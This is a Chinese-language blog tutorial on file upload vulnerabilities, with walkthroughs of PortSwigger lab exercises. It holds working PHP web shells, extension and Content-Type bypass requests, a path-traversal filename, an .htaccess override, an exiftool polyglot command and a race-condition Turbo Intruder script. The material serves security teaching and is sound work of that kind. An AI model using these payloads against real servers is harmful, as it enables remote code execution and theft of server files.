一级必杀,防不胜防的漏洞,WEB安全基础入门—文件上传漏洞

文件上传漏洞防御:从原理到实战,构建Web安全纵深防线 文件上传是Web应用中的常见功能,其安全漏洞常源于对客户端数据的过度信任。攻击者通过伪造文件类型、扩展名或内容,可绕过基础校验,将恶意脚本上传至服务器。一旦成功,攻击者可能实现远程代码执行,直接控制服务器,造成数据泄露、服务中断等严重后果。在高级攻击中,攻击者会利用Polyglot文件技术,制作同时符合图片和脚本格式的“特洛伊木马”文件,以绕过内容检查。为有效防御,需构建纵深安全体系:前端进行基础校验以提升体验,后端采用白名单、文件重命名、存储路径隔离等核心措施,并结合图像二次渲染等高级内容检查技术。同时, 阅读详情

专栏文章追求对知识点的全面总结,逻辑严密,方便学习掌握。力求做到看完一篇文章,掌握一类漏洞知识。让读者简洁高效的掌握WEB安全知识框架,推开入门深造的大门。
*
绝不为了追求文章数量,彰显内容丰富而故意拆散相关知识点。避免读者沉迷在无尽的技巧中而迷失进阶的道路!本系列的目标是授之以渔,而不仅仅是技巧的堆砌。

  • 每篇文章均配有大量靶场,点击文章中靶场名即可跳转练习(靶场在网站注册即可免费使用)。
  • 欢迎订阅专栏!建议学完两个基础专栏,再学习高级哦~
WEB安全基础入门—文件上传漏洞
1. 什么是文件上传漏洞

文件上传漏洞指缺失或可绕过对拟上传文件的名字、类型、内容或大小进行验证。导致实际可上传恶意文件,如脚本或木马。造成远程命令执行、敏感信息泄露等危害。

  • 上传文件本身造成危害
  • 后续HTTP请求上传的文件,同时服务器端允许执行该类型脚本,从而造成危害。
2. 文件上传漏洞的影响
1.该漏洞可使用的必要条件
  • 对上传文件验证存在缺陷(文件名字、类型、内容或大小)
  • 上传后是否可知文件存储路径
  • 上传后服务器是否可执行该类型文件
2. 漏洞影响
  • 若后台允许执行某类型文件,可上传该类型的Web shell,尝试远程代码执行,拿下服务器权限。
  • 若后台对文件名验证有缺陷,可上传与重要文件名相同的文件,尝试覆盖原文件。
  • 若后台对文件大小验证有缺陷,可导致DoS攻击,造成大量磁盘空间消耗。
3. Web服务器对访问静态文件的常规处理

目前,网站大量使用动态页面,这些访问路径与实际的文件存储路径没有直接关系。但是对样式表(stylesheets)、图片等类型的静态资源访问,路径还是一样。
服务器从请求中识别出文件后缀类型。将扩展名和MIME与预制好的文件类型白名单(或黑名单)进行比对。命中名单后,执行不同的操作,大致分为三类:

  • 白名单设定文件类型不可执行,如图片、HTML页面。服务器将文件内容放到响应中返回。
  • 白名单设定文件类型可执行,同时实际服务器配置也可执行,如PHP文件。服务器解析请求中的请求头、请求参数,传入脚本运行。将运行结果放到响应中返回。
  • 白名单设定文件类型可执行,但服务器配置不满足。服务器会产生错误响应。有时错误响应存在源代码泄露等情况

在响应头中,Content-Type会提供服务器支持的文件类型。如没有该头部,则应用使用文件扩展名MIME类型映射表。

4. 利用文件上传来部署Web shell

最好的情况是,网站允许上传任意脚本,如PHP\JAVA\PYTHON文件,并且被当做代码执行。这种情况下,可制作Web shell进行上传攻击。

Web shell是一种恶意脚本,上传后,攻击者只需向设定好的端点(通常是该文件存储位置)发送HTTP请求,即可在远程Web服务器上执行任意命令。

若能成功上传Web shell,则意味着已拥有对服务器的完全控制。可以读写任意文件、窃取敏感数据,甚至使用服务器转移针对内部基础设施和网络外部其他服务器的攻击。举例如下

<?php echo file_get_contents('/path/to/target/file'); ?>

上传后,对此文件存储位置发送请求,将在响应中返回目标文件的内容。

<?php echo system($_GET['command']); ?>
通过参数调用使用该shell
GET /example/exploit.php?command=id HTTP/1.1

例题 1

5. 上传漏洞利用
1. 有缺陷的文件类型验证

一般HTML表格,采用post数据包,文件格式application/x-www-form-url- encoded即可。但是如有图片或PDF等需二进制传送的内容,文件格式使用multipart/form-data。
在一个表单中包括上传头像照片、个人描述、用户名三部分内容,常规数据包如下:

POST /images HTTP/1.1
Host: normal-website.com
Content-Length: 12345
Content-Type: multipart/form-data; boundary=---------------------------012345678901234567890123456

---------------------------012345678901234567890123456
Content-Disposition: form-data; name="image"; filename="example.jpg"
Content-Type: image/jpeg                         (头像照片)

[...binary content of example.jpg...]

---------------------------012345678901234567890123456
Content-Disposition: form-data; name="description"   (个人描述)

This is an interesting description of my image.

---------------------------012345678901234567890123456
Content-Disposition: form-data; name="username"      (用户名)

wiener
---------------------------012345678901234567890123456--

如网站验证特定类型文件时,若仅验证Content-Type,我们可拦截数据包,直接修改该值即可绕过验证。

例题2

2. 阻止用户在可访问的目录中执行文件

在上述第1道验证文件类型的防线后,网站往往还采取禁止用户在访问到的文件上传路径区域执行任何脚本的限制。
往往在配置中将此区域能执行的脚本,直接规定出来。并对其他脚本的请求,返回错误信息。有时错误信息是将恶意脚本内容直接返回。

GET /static/exploit.php?command=id HTTP/1.1
Host: normal-website.com


HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 39

<?php echo system($_GET['command']); ?>

后端对不同区域的限制往往不同,用户上传区域最为严格。攻击者若能将文件上传至其他防护宽松的路径处,可能成功执行脚本。
数据请求包中字段multipart/form-data的filename往往决定文件名和影响存储路径。

例题 3

3. 文件类型验证采用黑名单的不足

如果采用黑名单形式来验证文件类型,黑名单会被各种方式绕过。例如黑名单写明禁止.php
类型,但是后缀改为,.php3、.php4、.php5、.phtml、.php可绕过黑名单,文件一样会被当做PHP来执行。

  • 恶意覆盖服务器配置

一般服务器是根据配置文件,来决定什么类型的文件可被执行。例如 在linux上的apache
配置文件/etc/apache2/apache2.conf中,设置PHP为可执行文件。

LoadModule php_module /usr/lib/apache2/modules/libphp.so
AddType application/x-httpd-php .php

或者

<FilesMatch "lx1">   //文件名包含"lx1"的文件可按PHP文件执行
SetHandler application/x-httpd-php
</FilesMatch>

在一个目录中有配置文件.htaccess存在。则服务器在该目录下,优先于全局配置,执行此配置文件设置。
**在Windows上的IIS服务,**文件web.config配置如下命令,可允许向用户返回json文件。

<staticContent>
    <mimeMap fileExtension=".json" mimeType="application/json" />
</staticContent>

攻击者编制配置文件,使定制的后缀名映射到服务器可执行文件,然后尝试上传该文件(部分网站可上传),覆盖掉服务器原文件。

例题 4

  • 扩展名模糊绕混淆过技巧
    • 大小写混淆.pHp
    • 多重扩展名 .php.jpg
    • 多重.绕过 .php.
    • .URL编码绕过 exploit%2Ephp
    • 分号或URL编码空字符绕过 .asp;.jpg .asp%00.jpg
    • 多字节Unicode字符绕过 xC0 x2E xC4 xAE xC0 xAE可能均会转化为x2E
    • 复写扩展名 .p.phphp 中部的.php被过滤掉,剩余的字符串依然组成.php

例题 5

4. 对文件内容验证的缺陷

除了对文件扩展名进行检测外,一些防护较好的服务器还对文件内容进行检测。检测的方式有多种。

  • 对字段类型检测Content-Type
  • 对文件开头和结尾的十六进制数检测

在这里插入图片描述

  • 对特定类型文件的固有属性进行检测,如图片一定有尺寸大小的属性。可采取图片马方式绕过。

图片马的绕过方式主要是4种,但核心是一样的。将攻击荷载加载进图片文件中,满足类型检测、文件开头或结尾十六进制检测、特定类型文件固有属性检测。

  1. 文本方式打开正常图片,在末尾粘结一句话木马(会有一定概率失败,一句话木马被破坏)
  2. 准备一个正常图片1.jpg,一个木马文件2.php。生成目标图片马3.jpg

cmd中执行命令: copy 1.jpg/b+2.php 3.jpg

  1. 16进制打开图片在末尾添加一句话木马
  2. 使用工具ExifTool制作图片马Github下载地址

除了上述方式外,还需要一个必须条件,服务器存在类似任意文件包含漏洞,导致可执行jpg等图片文件(图片马)。

方法4 工具ExifTool 可直接将图片马变为.php直接上传,只要服务器能执行php文件即可。

例题 6

5. 利用条件竞争上传文件

目前流行的主流框架,对上述攻击都有有效防御。通常是将刚刚上传的文件临时迁移到类似于沙箱环境路径下,并修改为随机文件名(避免覆盖和路径预测)。一旦文件进入沙箱环境将很难进行下一步攻击测试。
但是这种处理方式往往是在框架外,采用独立的流程进行处理。 这不仅相当复杂,而且还可能引入危险的争用条件,使攻击者能够完全绕过所有验证。
举例来说,
有些网站文件上传后,会将文件移至沙箱,用于检测病毒或恶意软件,并将源上传文件删除。但这个转义存储和删除源文件的过程需要几毫秒。这极短的时间,攻击者可以配合工具尝试进行利用(工具:Burp
Turbo 扩展)。

条件竞争漏洞利用非常巧妙,也非常有难度。往往需要事先获取部分源码,通过源代码审计发现疑似利用点,并经大量测试才能成功。

例题 7

  • 基于URL的条件竞争

服务器必须通过互联网获取文件并创建本地副本,然后才能执行任何验证。
由于文件是使用HTTP加载的,因此开发人员无法使用框架机制来安全地验证文件。只能手动创建自己的进程来临时存储和验证文件,产生随机名称存放在临时目录中。
如果随机目录名是使用伪随机函数(如PHP的uniqid())生成的,则可用暴力破解测试的。
要想利用,可以尝试延长处理文件所需的时间,从而延长暴力破解目录的时间窗口。做到这一点的一种方法是上传一个非常大的文件来延长传输处理时间。如果它是分块处理的,该恶意文件的开头带有有效负载,后可跟大量的任意填充字节。

6. 在无法执行远程代码的情况下利用文件上载漏洞

尽管无法在服务器上执行脚本,但可以上载客户端攻击的脚本。例如,可以上传HTML文件或SVG图像,可以使用

需考虑同源策略的限制

7. 通过PUT方法上传文件
一些Web服务器可能被配置为支持PUT请求。如果没有适当的防御措施,这就成为一种上传恶意文件的替代方法,即使在网络界面上没有上传功能时也是如此。  



PUT /images/exploit.php HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-httpd-php
Content-Length: 49

<?php echo file_get_contents('/path/to/file'); ?>

8. 漏洞实例
1. 上传Web shell远程代码执行([Remote code execution via web shell

upload](https://portswigger.net/web-security/file-upload/lab-file-upload-
remote-code-execution-via-web-shell-upload))

  • 目标

利用基础PHP web shell读取文件/home/carlos/secret内容
测试账号wiener:peter,该网站对上传无任何防护

  • 截图思路

本地制作php web shell 123.php
<?php echo file_get_contents('/home/carlos/secret'); ?>
再次刷新个人主页,发现数据包
GET /files/avatars/123.php HTTP/1.1响应内容为flag

2. 通过绕过内容类型限制上载Web shell([Web shell upload via Content-Type restriction

bypass](https://portswigger.net/web-security/file-upload/lab-file-upload-web-
shell-upload-via-content-type-restriction-bypass))

  • 目标

利用基础PHP web shell读取文件/home/carlos/secret内容
测试账号wiener:peter

  • 截图思路

    1. 登陆账号,正常上传图片测试流程,发现数据包POST /my-account/avatar
    2. 放到repeater模块,尝试上传web shell(与上题相同)。发现报错,信息显示文件格式不对,仅支持image/png image/jpg
    3. 尝试修改content-type字段,再次上传成功。

    -----------------------------396512672126764604443828361850
    Content-Disposition: form-data; name=“avatar”; filename=“123.php”
    Content-Type: image/png

    <?php echo file\_get\_contents('/home/carlos/secret'); ?>
3. 通过路径遍历漏洞上传Web shell([Web shell upload via path

traversal](https://portswigger.net/web-security/file-upload/lab-file-upload-
web-shell-upload-via-path-traversal))

  • 目标

利用基础PHP web shell读取文件/home/carlos/secret内容
测试账号wiener:peter

  • 截图思路

    1. 关键不同点,注意filename=../123.php。观察回复,发现…/被过滤

    -----------------------------28360212211975207492478525821
    Content-Disposition: form-data; name=“avatar”; filename=“…/123.php”
    Content-Type: text/php

    The file avatars/123.php has been uploaded.

  1. 尝试URL编码/可否绕过过滤
-----------------------------28360212211975207492478525821
Content-Disposition: form-data; name="avatar"; filename="..%2f123.php"
Content-Type: text/php



The file avatars/../123.php has been uploaded.<p>

成功。

4. 绕过黑名单上传Web shell([Web shell upload via extension blacklist

bypass](https://portswigger.net/web-security/file-upload/lab-file-upload-web-
shell-upload-via-extension-blacklist-bypass))

  • 目标

利用基础PHP web shell读取文件/home/carlos/secret内容
测试账号wiener:peter

  • 截图思路
    1. 经测试后,发现.php被拦截无法上传。同时后端服务器为

Apache/2.4.41 (Ubuntu) Server at 172.17.0.4 Port 80

  1. 尝试覆盖上传.htaccess配置文件,自定制扩展按php执行文件。修改数据包POST /my-account/avatar
-----------------------------1606875978792719522141999998
Content-Disposition: form-data; name="avatar"; filename=".htaccess"
Content-Type: text/plain

AddType application/x-httpd-php .heason

  1. 再次上传web shell(扩展名改为.heason)成功
-----------------------------1606875978792719522141999998
Content-Disposition: form-data; name="avatar"; filename="123.heason"
Content-Type: text/php

<?php echo file_get_contents('/home/carlos/secret'); ?>

5. 通过模糊文件扩展名上传Web shell([Web shell upload via obfuscated file

extension](https://portswigger.net/web-security/file-upload/lab-file-upload-
web-shell-upload-via-obfuscated-file-extension))

  • 目标

利用基础PHP web shell读取文件/home/carlos/secret内容
测试账号wiener:peter

  • 截图思路
    1. 多次测试后456.php%00.jpg可绕过。
    2. 注意,上传成功后,需手动访问文件路径 GET /files/avatars/456.php查看响应获取结果
6. 绕过内容检测上传web shell([Remote code execution via polyglot web shell

upload](https://portswigger.net/web-security/file-upload/lab-file-upload-
remote-code-execution-via-polyglot-web-shell-upload))

  • 目标

利用基础PHP web shell读取文件/home/carlos/secret内容
测试账号wiener:peter

  • 截图思路
    1. 使用工具exiftool

./exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" <YOUR-INPUT-IMAGE>.jpg -o polyglot.php

在图片描述中添加一句话木马,描述以STATE开头,END结尾(方便最后搜索),生成php文件上传,虽是php文件,但就是能绕过内容检测,工具很实用。

  1. 生成polyglot.php直接上传
  2. 访问路径GET /files/avatars/polyglot.php
  3. 在返回的乱码中,搜索START,START与END之间即为获取的信息
7. 通过争用条件上传Web shell([Web shell upload via race

condition](https://portswigger.net/web-security/file-upload/lab-file-upload-
web-shell-upload-via-race-condition))

  • 目标

利用基础PHP web shell读取文件/home/carlos/secret内容
测试账号wiener:peter,工具使用Burp Turbo 扩展
部分源码如下,(注意注释文字)

/*
  上传的文件被移动到一个可访问的文件夹,在那里它被检查是否有病毒。只有在病毒检查完成后,才会删除恶意文件。这意味着在删除文件之前,可以在较小的时间窗口内执行该文件。
*/
<?php
  $target_dir = "avatars/";
$target_file = $target_dir . $_FILES["avatar"]["name"];
// temporary move  上传的源文件被转移存储在临时可访问路径
move_uploaded_file($_FILES["avatar"]["tmp_name"], $target_file);

if (checkViruses($target_file) && checkFileType($target_file)) {
  echo "The file ". htmlspecialchars( $target_file). " has been uploaded.";
} else {
  // 问题就出现在上面这一行,是在完成检测后,发现有问题才会删除文件
  unlink($target_file);  
  echo "Sorry, there was an error uploading your file.";
  http_response_code(403);
}

function checkViruses($fileName) {
  // checking for viruses
  ...
  }

function checkFileType($fileName) {
  $imageFileType = strtolower(pathinfo($fileName,PATHINFO_EXTENSION));
  if($imageFileType != "jpg" && $imageFileType != "png") {
    echo "Sorry, only JPG & PNG files are allowed\n";
    return false;
  } else {
    return true;
  }
}
?>

  • 截图思路

    1. 使用测试账户完整熟悉头像交互全流程。发现上述介绍的所有攻击方式均失效。查看源码,考虑使用条件竞争漏洞。
    2. 关注两个数据包POST /my-account/avatar GET /files/avatars/1.png
    3. 使用Burp Turbo 扩展,python脚本模板如下

    def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10,)

    request1 = '''<YOUR-POST-REQUEST>''' # POST /my-account/avatar
    
    request2 = '''<YOUR-GET-REQUEST>'''  # GET /files/avatars/heason.php
    
    # the 'gate' argument blocks the final byte of each request until openGate is invoked
    engine.queue(request1, gate='race1')
    for x in range(5):
        engine.queue(request2, gate='race1')
        
        # wait until every 'race1' tagged request is ready
        # then send the final byte of each request
        # (this method is non-blocking, just like queue)
        engine.openGate('race1')
        
        engine.complete(timeout=60)
        
        
        def handleResponse(req, interesting):
    table.add(req)
    
    
  1. 准备好攻击脚本heason.php正常数据包上传,被拒。请求包作为 查看该文件GET包作为 构造攻击脚本
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10,)
    
    request1 = '''POST /my-account/avatar HTTP/1.1
    Host: 0adc00f904771650c0a69f33000200fc.web-security-academy.net
    Cookie: session=cj7XIiuLDzxPx2HeGcn2UQA2WP8u3vni
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: multipart/form-data; boundary=---------------------------208961071423304880663648965172
    Content-Length: 550
    Origin: https://0adc00f904771650c0a69f33000200fc.web-security-academy.net
    Referer: https://0adc00f904771650c0a69f33000200fc.web-security-academy.net/my-account
    Upgrade-Insecure-Requests: 1
    Sec-Fetch-Dest: document
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Site: same-origin
    Sec-Fetch-User: ?1
    Te: trailers
    Connection: close
    
    -----------------------------208961071423304880663648965172
    Content-Disposition: form-data; name="avatar"; filename="heason.php"
    Content-Type: application/octet-stream
    
    <?php echo file_get_contents('/home/carlos/secret'); ?>
    -----------------------------208961071423304880663648965172
    Content-Disposition: form-data; name="user"
    
    wiener
    -----------------------------208961071423304880663648965172
    Content-Disposition: form-data; name="csrf"
    
    OfvXiGdCGXG9Y4C3aGj9cbPgSWITTAOA
    -----------------------------208961071423304880663648965172--
    '''
    
    request2 = '''GET /files/avatars/heason.php HTTP/1.1
    Host: 0adc00f904771650c0a69f33000200fc.web-security-academy.net
    Cookie: session=cj7XIiuLDzxPx2HeGcn2UQA2WP8u3vni
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
    Accept: image/avif,image/webp,*/*
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Referer: https://0adc00f904771650c0a69f33000200fc.web-security-academy.net/my-account
    Sec-Fetch-Dest: image
    Sec-Fetch-Mode: no-cors
    Sec-Fetch-Site: same-origin
    If-Modified-Since: Sun, 05 Jun 2022 23:35:24 GMT
    If-None-Match: "c52c-5e0bbcf47f78a"
    Te: trailers
    Connection: close
    
    '''
    
    # the 'gate' argument blocks the final byte of each request until openGate is invoked
    engine.queue(request1, gate='race1')
    for x in range(5):
        engine.queue(request2, gate='race1')
        
        # wait until every 'race1' tagged request is ready
        # then send the final byte of each request
        # (this method is non-blocking, just like queue)
        engine.openGate('race1')
        
        engine.complete(timeout=60)
        
        
        def handleResponse(req, interesting):
    table.add(req)

  1. 结果如下,成功

在这里插入图片描述

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取

读者福利 | 优快云大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)

👉1.成长路线图&学习规划👈

要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

在这里插入图片描述
在这里插入图片描述

👉2.网安入门到进阶视频教程👈

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程文末领取哈)
在这里插入图片描述

在这里插入图片描述

👉3.SRC&黑客文档👈

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

在这里插入图片描述

黑客资料由于是敏感资源,这里不能直接展示哦!(全套教程文末领取哈)

👉4.护网行动资料👈

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

在这里插入图片描述

👉5.黑客必读书单👈

在这里插入图片描述

👉6.网络安全岗面试题合集👈

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
在这里插入图片描述
所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~

读者福利 | 优快云大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)

【C++】auto关键字(C++11,超详细解析,小白必看系列) 本文详细解析了C++中的“auto”关键字,介绍了其定义、基本用法、限制和高级用法,特别是与范围for循环和Lambda表达式结合的应用。 阅读详情

相关推荐

深度解析跨境支付之业务架构

详解跨境支付之业务架构

weixin_47493863的博客 1881

一级必杀,防不胜防的漏洞,WEB安全基础入门—文件上传漏洞_practitioner remote code execution via polyglot we

文件上传漏洞指缺失或可绕过对拟上传文件的名字、类型、内容或大小进行验证。导致实际可上传恶意文件,如脚本或木马。造成远程命令执行、敏感信息泄露等危害。上传文件本身造成危害后续HTTP请求上传的文件,同时服务器端允许执行该类型脚本,从而造成危害。

2401_84586689的博客 1716

矢量网络分析仪(矢网)组成和原理简介

一、概述 矢量网络分析仪是一种常见的射频测量仪器,主要用来测量高频器件、电路及系统的性能参数,如线性参数、非线性参数、变频参数等。 1.1 分类 矢量网络分析仪一般以频率来划分,截止频率越高,价格也越贵; 根据测试端口的数量可分为:双端口、 3 端口、 4 端口、 6 端口; 常见的厂家有:美国的安捷伦( Agilent)、德国的罗德与施瓦茨( R&S) , 国内的有南京普纳和中电 41 所。 1.2 常用功能 常用的测试器件有:功分器、合路器、滤波器、衰减器、天线、电缆、放大器、混频器、双工器、耦

大音希声 5万+

一级必杀,防不胜防的漏洞,WEB安全基础入门—文件上传漏洞_practitioner remote code execution via polyglot we(2)

例题 3。

2401_84586689的博客 964

欧姆龙PLC与fanuc发那科机器人进行Ethrenet ip通信测试

近期在做发那科FANUC的通讯,会吧CC-LINK、Profibus-DP、Profinet I/O、DeviceNet、EtherNet/IP这些常用通讯做成文档发上来,大家喜欢的话可以关注 注:做对应的通讯,在机器人控制柜都需要安装对应的板卡以及软件功能 截图中的程序设置和机器人EDS插件在下面链接 https://download.youkuaiyun.com/download/gojava/13770799 PLC为主站 机器人为从站 一、硬件部分 欧姆龙PLC ...

七兔自习室 1万+

无法启动此程序,因为计算机丢失api-ms-win-core-path-l1-1-0.dll的解决方案

本文主要介绍了无法启动此程序,因为计算机丢失api-ms-win-core-path-l1-1-0.dll的解决方案,希望能对使用Python的同学们有所帮助。 文章目录 1. 问题描述 2. 解决方案 文章目录 1. 问题描述 2. 解决方案

weixin_43178406的博客 20万+

一级必杀,防不胜防的漏洞,WEB安全基础入门—文件上传漏洞_practitioner remote code execution via polyglot we(1)

通过参数调用使用该shell例题 1。

2401_84182318的博客 1256

Unreal5从入门到精通之如何在VR中使用3DUI

前面我们讲过《Unreal5从入门到精通之UMG的使用》一般制作游戏时,UI都是添加到屏幕视窗上面的,但是在制作VR时,我们往往需要制作一个3D的UI,放置在场景中,然后使用手柄的射线来和UI进行交互。今天我们就来讲解下,如何在VR中创作和交互3DUI首次操作会感觉好复杂,多多练习,当你熟悉了UE蓝图的操作后会发现,这只是一个常规的蓝图操作而已。祝大家在虚幻的学习过程中非常顺利。希望这篇博客对你有所帮助。

TxNet 1989

四大网络攻击常见手段及防护

此时管理员可以适时的改变访问列表的配置内容,从而达到阻止攻击源的目的。在对方发送数据流时可以很好的监控和拦截,如果数据包合法,允许实现正常通信,否则,路由器将显示超时限制,以防止自身的资源被耗尽,说到底,利用设备规则来合理的屏蔽持续的、高频度的数据冲击是防止DoS攻击的根本。大家都听过SQL注入攻击吧,所谓SQL注入就是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,这种攻击脚本最直接,也最简单,当然,脚本攻击更多的是建立在对方漏洞的基础上,它比DOS和ARP攻击的门槛更高。...

m0_70655343的博客 1102

9篇3章7节:基于 R 语言的 FAERS 数据提取与合并

本文主要探讨了 FAERS 数据提取与合并的操作流程。首先,通过程序化方法从本地存储的 FAERS ASCII 文件中提取指定季度或范围内的单药报告数据,并可通过参数设置控制数据存储位置、处理方式、计算资源分配以及报告者职业类别等。随后,通过批量读取的方式对多个季度的 DRUG 文件进行循环处理,并将其合并为一个综合数据框。

MD Code 1269

【SCADA】KingSCADA将数据插入SQLServer的方法

1、创建数据库及数据表格;2、配置ODBC数据源。3、通过KingSCADA与数据库建立连接,将数据写入数据库对应表格。

做有价值的事,积累有价值的笔记! 4968

我是一个*** (三)

送走小敏,时间已经是晚上10点钟了。小敏是本地人。我不是。她家据说在城南,而我住在城北。所以我只是送她上计程车,我没有去过她家,对她的家庭也不了解。我只知道她的单位,本城市最好的一家医院。她在外科。她们单位也在城北,所以我到她单位去等过她一次。倒是她经常到我这里来玩。今天过的很温馨,因为有小敏。现在重新回到我的冷清简陋的书房,似乎有些失落。但是也不知道失落什么,反正人这个东西有时候就是奇怪。  ...

weixin_34096182的博客 128

零基础速成simulink代码生成——stateflow基础3

此专栏面向嵌入式工程没有matlab开发经验的人,可以快速学习和实践这门技术。MDB技术,越来越成熟和普遍,从手写代码转到基于模型开发已经是大势,不仅减少开发周期,还增加代码的复用性。汽车领域、医疗和算法建模广泛使用。

不断debug,优化中…… 1712

3.我攻破了美军海军网站 [2]

送走小敏,时间已经是晚上10点钟了。小敏是本地人。我不是。她家据说在城南,而我住在城北。所以我只是送她上计程车,我没有去过她家,对她的家庭也 不了解。我只知道她的单位,本城市最好的一家医院。她在外科。她们单位也在城北,所以我到她单位去等过她一次。倒是她经常到我这里来玩。今天过的很温馨, 因为有小敏。现在重新回到我的冷清简陋的书房,似乎有些失落。但是也不知道失落什么,反正人这个东西有时候就是奇怪。 

2073

Outlook Express 6 (OE6) for Win7/Win8/Win10

英文版 Outlook Express6.0, 兼容Win7/Win10/WinXP,解压就可用。

IDEA的使用指南

IDEA基于java的使用手册,可以最快速的上手,在使用中不断的丰富自己的使用技巧.

上一篇: 35岁的网络安全工程师,到底该怎么从技术岗杀出一条血路?
下一篇: 【网络攻防】常见的网络攻防技术——黑客攻防(通俗易懂版)
网络安全_入门教程
博客等级 码龄4年 1万+粉丝 2151原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值